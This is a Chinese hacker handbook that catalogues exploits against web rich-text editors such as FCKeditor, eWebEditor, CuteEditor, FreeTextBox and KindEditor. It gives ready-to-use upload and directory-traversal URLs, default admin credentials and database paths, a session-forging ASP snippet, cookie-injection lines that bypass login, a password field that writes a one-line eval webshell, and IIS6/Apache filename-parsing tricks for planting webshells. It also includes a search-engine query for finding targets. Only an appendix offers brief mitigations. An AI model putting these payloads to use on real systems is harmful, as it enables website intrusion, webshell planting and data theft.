Editors Vulnerability Handbook

网页编辑器漏洞手册 Version V1.2

Editors Update Description
FCKeditor 2010/04/10 "_"真不是那么好绕的~~望高手飞过告知
eWebEditor 2011/01/30 去掉一个众所周知的“甲"虫
Cuteditor 2011/04/30 这编辑器根本不入流嘛,竟然不去重命名
Freetextbox 2011/05/02 tmdsb没想到比Cuteditor都不入流
Webhtmleditor 2009/11/29 经过参考诸多资料-证实此物已终止更新
Kindeditor 2009/11/29 v3.4 已经开始以$Date命名文件名
eWebEditorNET 2009/11/29 Aspx版eWebEditor
southidceditor 2009/11/29 基于eWebEditor v2.8商业版Kernel
bigcneditor 2009/11/29 基于eWebEditor v2.8商业版Kernel
Msn Editor 2011/02/24 一个仿冒Fck CSS的伪君子
附录A/B/C 2011/02/24

创建这样一个文档是为了能够使得众多需要得到帮助的人们,在她们最为困苦之时找到为自己点亮的那盏明灯,虽然这将揭示了某个寂静黑夜下一群躁动不安的人群.他们在享受快感,享受H4ck W0r|d带给他们的一切.

作为收集整理此文的修订者,我-怀着无比深邃的怨念参考了诸多资料才使得此物最终诞生,在此感谢整理过程中所有施舍帮助于我的人们.愿他们幸福快乐,虎年如意!

*非常希望各位能够与我联系,一并完成本文的创作。

[北洋贱队@insafe.xxx ~]# MIAO、猪哥靓、Hell-Phantom、Liange、Fjhh、GxM、Sn4k3! 、微笑刺客……

本文当是个自由文档,你可以对本文当有如下操作:

可自由复制:

你可以将文档复制到你的或者你客户的电脑,或者任何地方复制份数没有任何限制。

可自由分发:

在你的网站提供下载,拷贝到U盘送人,或者将源代码打印出来从窗户扔出去(环保起见,请别这样做)。

可以用来盈利:

你可以在分发软件的时候收费,但你必须在收费前向你的客户提供该软件的GPL许可协议,以便让他们知道,他们可以从别的渠道免费得到这份软件,以及你收费的理由。

可自由修改:

如果你想添加或删除某个功能,没问题,如果你想在别的项目中使用部分代码,也没问题,唯一的要求是,使用了这段代码的项目也必须使用GPL协议。修改的时候请对本文档引用部分注明出处

FCKeditor编辑器页

FCKeditor/_samples/default.html 

查看编辑器版本

FCKeditor/_whatsnew.html 
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 

XML页面中第二行 “url=/xxx”的部分就是默认基准上传路径

Note:

[Hell1]截至2010年02月15日最新版本为FCKeditor v2.6.6

[Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言

影响版本:FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述:FCKeditor v2.4.3中File类别默认拒绝上传类型:html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件上传后,

它保存的文件直接用的$sFilePath = $sServerDir . $sFileName

而没有使用$sExtension为后缀,直接导致在win下在上传文件后面加个.来突破[未测试]

而在apache下,因为"Apache文件名解析缺陷漏洞"也可以利用之,详见"附录A"

另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码,其限制最为狭隘。

攻击利用:

允许其他任何后缀上传

Note:[Hell1]原作:

http://superhei.blogbus.com/logs/2006/02/1916091.html

影响版本: 附录B

脆弱描述:利用2003系统路径解析漏洞的原理,创建类似“bin.asp”如此一般的目录,再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。

攻击利用:

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

强制建立shell.asp目录:

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684

or

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

Note:[`Sn4k3!]这个我也不知道咯,有些时候,手动不行,代码就是能成功,囧。

影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2

脆弱描述:FCKeditor在处理文件上传时存在输入验证错误,远程攻击可以利用此漏洞上传任意文件。

在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。

成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。

攻击利用: (请修改action字段为指定网址):

下载FCKeditor2.4.2 for php.rar

Note:如想尝试v2.2版漏洞,则修改Type=任意值 即可,但注意,如果换回使用Media则必须大写首字母M,否则LINUX下,FCKeditor会对文件目录进行文件名校验,不会上传成功的。

影响版本:FCKeditor JSP版

攻击利用:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

影响版本:较早版本

脆弱描述:通过自定义Type变量的参数,可以创建或上传文件到指定的目录中去,且没有上传文件格式的限制。

攻击利用:

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp

打开这个地址就可以上传任何类型的文件了,Shell上传到的默认位置是: http://www.URL.com/UserFiles/all/1.asp

"Type=all" 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.

比如输入:

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp

网马就可以传到网站的根目录下.

Note:如找不到默认上传文件夹可检查此文件:

fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

影响版本:Aspx与JSP版FCKeditor

脆弱描述:如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”

攻击利用:

修改CurrentFolder参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp 

根据返回的XML信息可以查看网站所有的目录。

/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

影响版本:aspx版FCKeditor

攻击利用:

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp

影响版本:非优化/精简版本的FCKeditor

脆弱描述:如果存在以下文件,打开后即可上传文件。

攻击利用:

fckeditor/editor/filemanager/upload/test.html
fckeditor/editor/filemanager/browser/default/connectors/test.html
fckeditor/editor/filemanager/connectors/test.html
fckeditor/editor/filemanager/connectors/uploadtest.html

影响版本: FCKeditor => 2.4.x

脆弱描述:我们上传的文件例如:shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化。

攻击利用:

提交1.php+空格 就可以绕过去所有的,

※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]

Note:

http://pstgroup.blogspot.com/2007/05/tipsfckeditor.html

影响版本:=>2.4.x的最新版已修补

脆弱描述:由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6解析漏洞。

上传第一次。被过滤为123_asp;123.jpg 从而无法运行。

但是第2次上传同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已经存在。

文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。

所以。IIS6的漏洞继续执行了。

Note:来源:T00LS.Net

1.FCKeditor没有开启文件上传功能,这项功能在安装FCKeditor时默认是关闭的。如果想上传文件,FCKeditor会给出错误提示。

2.网站采用了精简版的FCKeditor,精简版的FCKeditor很多功能丢失,包括文件上传功能。

3.FCKeditor的这个漏洞已经被修复

建议最好检测下admin_style.asp文件是否可以直接访问

默认数据库路径:

/db/ewebeditor.mdb
/db/db.mdb
-- 某些CMS里是这个数据库

也可尝试

/db/%23ewebeditor.mdb
-- 某些管理员自作聪明的小伎俩

使用默认密码:admin/admin888admin/admin 进入后台,也可尝试 admin/123456 (有些管理员以及一些CMS,就是这么设置的)

1、点击“样式管理”--可以选择新增样式,或者修改一个非系统样式,将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp或|cer,只要是服务器允许执行的脚本类型即可,点击“提交”并设置工具栏--将“插入图片”控件添加上。而后--预览此样式,点击插入图片,上传WEBSHELL,在“代码”模式中查看上传文件的路径。

2、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell

3、上传后无法执行?目录没权限?帅锅你回去样式管理看你编辑过的那个样式,里面可以自定义上传路径的!!!

4、设置好了上传类型,依然上传不了麽?估计是文件代码被改了,可以尝试设定“远程类型”依照6.0版本拿SHELL的方法来做(详情见下文↓),能够设定自动保存远程文件的类型。

5、不能添加工具栏,但设定好了某样式中的文件类型,怎么办?↓这么办!

下载 Action.rar

6、需要突破上传文件类型限制么?Come here! -->> 将图片上传类型修改为“aaspsp;”(不含引号),将一句话shell文件名改为“1.asp;”(不含引号)并上传即可。-->本条信息来源:微笑刺客

脆弱描述:当我们下载数据库后查询不到密码MD5的明文时,可以去看看webeditor_style(14)这个样式表,看看是否有前辈入侵过 或许已经赋予了某控件上传脚本的能力,构造地址来上传我们自己的WEBSHELL.

攻击利用:比如 ID=46 s-name =standard1

构造代码:

ewebeditor.asp?id=content&style=standard

ID和和样式名改过后

ewebeditor.asp?id=46&style=standard1

脆弱描述:

ewebeditor/admin_uploadfile.asp
admin/upload.asp

过滤不严,造成遍历目录漏洞

攻击利用:

第一种:

ewebeditor/admin_uploadfile.asp?id=14

在id=14后面添加&dir=..

再加&dir=../..

&dir=http://www.****.com/../..

第二种:

ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..

脆弱描述:

ewebeditor/asp/browse.asp

过滤不严,造成遍历目录漏洞

攻击利用:

/ewebeditor/asp/browse.asp?style=standard650&dir=…./../..

脆弱描述:

漏洞文件:Admin_Private.asp

只判断了session,没有判断cookies和路径的验证问题。

攻击利用:新建一个test.asp内容如下:

<%Session("eWebEditor_User") = "11111111"%>

访问test.asp,再访问后台任何文件,for example:Admin_Default.asp

攻击利用:(请修改action字段为指定网址)

下载 ewebeditor asp版2.1.6上传漏洞利用程序.rar

攻击利用:

/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200

默认表名:eWebEditor_System

默认列名:sys_UserName、sys_UserPass,然后利用nbsi进行猜解.

脆弱描述:此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入。

攻击利用:(请修改action字段为指定网址)

下载 Del Files.rar

影响版本:PHP ≥ 3.0~3.8与asp 2.8版也通用,或许低版本也可以,有待测试。

攻击利用:进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了.

这时候你清空浏览器的url,然后输入

javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
avascript:alert(document.cookie="admindj="+escape("1"));

而后三次回车,清空浏览器的URL,现在输入一些平常访问不到的文件如/ewebeditor/admin/default.php,就会直接进去。

影响版本:ewebeditor php v3.8 or older version

脆弱描述:此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置register_global为on的情况下我们可以任意添加自己喜欢的风格,并定义上传类型。

攻击利用:

下载 phpupload.rar

大同小异,我在本文档不想多说了,因为没环境 测试,网上垃圾场那么大,不好排查。用JSP编辑器的我觉得eweb会比FCKeditor份额少得多。

给出个连接:http://blog.haaker.cn/post/161.html

还有:http://www.anqn.com/zhuru/article/all/2008-12-04/a09104236.shtml

影响版本:=>2.8 商业版

攻击利用:

登陆后台,点击修改密码---新密码设置为1":eval request("h")'

设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了.

脆弱描述:WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。

攻击利用:

默认上传地址:/ewebeditornet/upload.aspx

可以直接上传一个cer的木马

如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click();

成功以后查看源代码找到uploadsave查看上传保存地址,默认传到uploadfile这个文件夹里。

/admin/southidceditor/datas/southidceditor.mdb
/admin/southidceditor/admin/admin_login.asp
/admin/southidceditor/popup.asp

其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问admin_login.asp,提示“权限不够”4字真言,估计就是因为其授权“Licensed”问题,或许只允许被授权的机器访问后台才对。

或许上面针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少动作?

影响版本:CuteEditor For Net 6.4

脆弱描述:可以随意查看网站文件内容,危害较大。

攻击利用:

http://www.TEST.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config

影响版本:CuteEditor for ASP.NET中文版脆弱描述:

脆弱描述:

CuteEditor对上传文件名未重命名,导致其可利用IIS文件名解析Bug获得webshell权限。

攻击利用:可通过在搜索引擎中键入关键字 inurl:Post.aspx?SmallClassID= 来找到测试目标。

在编辑器中点击“多媒体插入”,上传一个名为“xxx.asp;.avi”的网马,以此获得权限。

Note: http://www.heimian.com/post/667.html

影响版本:未知

脆弱描述:

因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。

攻击利用:在编辑器页面点图片会弹出一个框(抓包得到此地址)构造如下,可遍历目录。

http://www.XXX.cn/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..

影响版本:所有版本

脆弱描述:没做登陆验证可以直接访问上传木马

Freetextbox 3-3-1 可以直接上传任意格式的文件

Freetextbox 1.6.3 及其他版本可以上传 格式为x.asp;.jpg

攻击利用:利用IIS解析漏洞拿SHELL。上传后SHELL的路径为http://www.xx.com/images/x.asp;.jpg

Note:http://www.tmdsb.com/2011/03/freetextbox-most-recent-0day/

影响版本:<= Webhtmleditor最终版1.7 (已停止更新)

脆弱描述/攻击利用:

对上传的图片或其他文件无重命名操作,导致允许恶意用户上传diy.asp;.jpg来绕过对后缀名审查的限制,对于此类因编辑器作者意识犯下的错误,就算遭遇缩略图,文件头检测,也可使用图片木马 插入一句话来突破。

影响版本:<= kindeditor 3.2.1(09年8月份发布的最新版)

>脆弱描述/攻击利用:拿官方做个演示:进入http://kindsoft.net/ke/examples/index.html随意点击一个demo后点图片上传,某君上传了如下文件:http://kindsoft.net/ke/attached/test.asp;.jpg大家可以前去围观。(现已失效,请速至老琴房弹奏《Secret》回到09年8月份观看)

Note:参见附录C原理解析。

影响版本:未知

脆弱描述:点击图片上传后会出现上传页面,地址为

http://url/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=

用普通的图片上传后,地址为

http://url/news/uppic/41513102009204012_1.gif

记住这时候的路径,再点击图片的上传,这时候地址就变成了

http://url/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012 

很明显。图片的地址是根据RemNum后面的编号生成的。

攻击利用:

配合IIS的解析漏洞,把RemNum后面的数据修改为1.asp;41513102009204012,变成下面这个地址

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012 

然后在浏览器里打开,然后选择你的脚本木马上传,将会返回地址uppic/1.asp;41513102009204012_2.gif

直接打开就是我们的小马地址!

Apache文件名解析缺陷漏洞:

测试环境:apache 2.0.53 winxp,apache 2.0.52 redhat linux

1.国外(SSR TEAM)发了多个advisory称Apache's MIME module (mod_mime)相关漏洞,就是attack.php.rar会被当做php文件执行的漏洞,包括Discuz!那个p11.php.php.php.php.php.php.php.php.php.php.php.php.rar漏洞。

2.S4T的superhei在blog上发布了这个apache的小特性,即apache 是从后面开始检查后缀,按最后一个合法后缀执行。其实只要看一下apache的htdocs那些默认安装的index.XX文件就明白了。

3.superhei已经说的非常清楚了,可以充分利用在上传漏洞上,我按照普遍允许上传的文件格式测试了一下,列举如下(乱分类勿怪)

典型型:rar

备份型:bak,lock

流媒体型:wma,wmv,asx,as,mp4,rmvb

微软型:sql,chm,hlp,shtml,asp

任意型:test,fake,ph4nt0m

特殊型:torrent

程序型:jsp,c,cpp,pl,cgi

4.整个漏洞的关键就是apache的"合法后缀"到底是哪些,不是"合法后缀"的都可以被利用。

5.测试环境

a.php

<? phpinfo();?>

然后增加任意后缀测试,a.php.aaa,a.php.aab....

By cloie, in ph4nt0m.net(c) Security.

安装了iis6的服务器(windows2003),受影响的文件名后缀有.asp .asa .cdx .cer .pl .php .cgi

Windows 2003 Enterprise Edition是微软目前主流的服务器操作系统。 Windows 2003 IIS6 存在着文件解析路径的漏洞,当文件夹名为类似hack.asp的时候(即文件夹名看起来像一个ASP文件的文件名),此时此文件夹下的任何类型的文件(比如.gif,.jpg,.txt等)都可以在IIS中被当做ASP程序来执行。这样黑客即可上传扩展名为jpg或gif之类的看起来像是图片文件的木马文件,通过访问这个文件即可运行木马。如果这些网站中有任何一个文件夹的名字是以 .asp .php .cer .asa .cgi .pl 等结尾,那么放在这些文件夹下面的任何类型的文件都有可能被认为是脚本文件而交给脚本解析器而执行。

漏洞描述:

当文件名为[YYY].asp;[ZZZ].jpg时,Microsoft IIS会自动以asp格式来进行解析。

而当文件名为[YYY].php;[ZZZ].jpg时,Microsoft IIS会自动以php格式来进行解析。

其中[YYY]与[ZZZ]处为可变化字符串。

影响平台:

Windows Server 2000 / 2003 / 2003 R2 (IIS 5.x / 6.0)

修补方法:

1、等待微软相关的补丁包

2、关闭图片所在目录的脚本执行权限(前提是你的某些图片没有与程序混合存放)

3、校验网站程序中所有上传图片的代码段,对形如[YYY].asp;[ZZZ].jpg的图片做拦截

备注:

对于Windows Server 2008(IIS7)以及Windows Server 2008 R2(IIS7.5) 则未受影响

Note:(FW) for http://www.cnblogs.com/webserverguard/archive/2009/09/14/1566597.html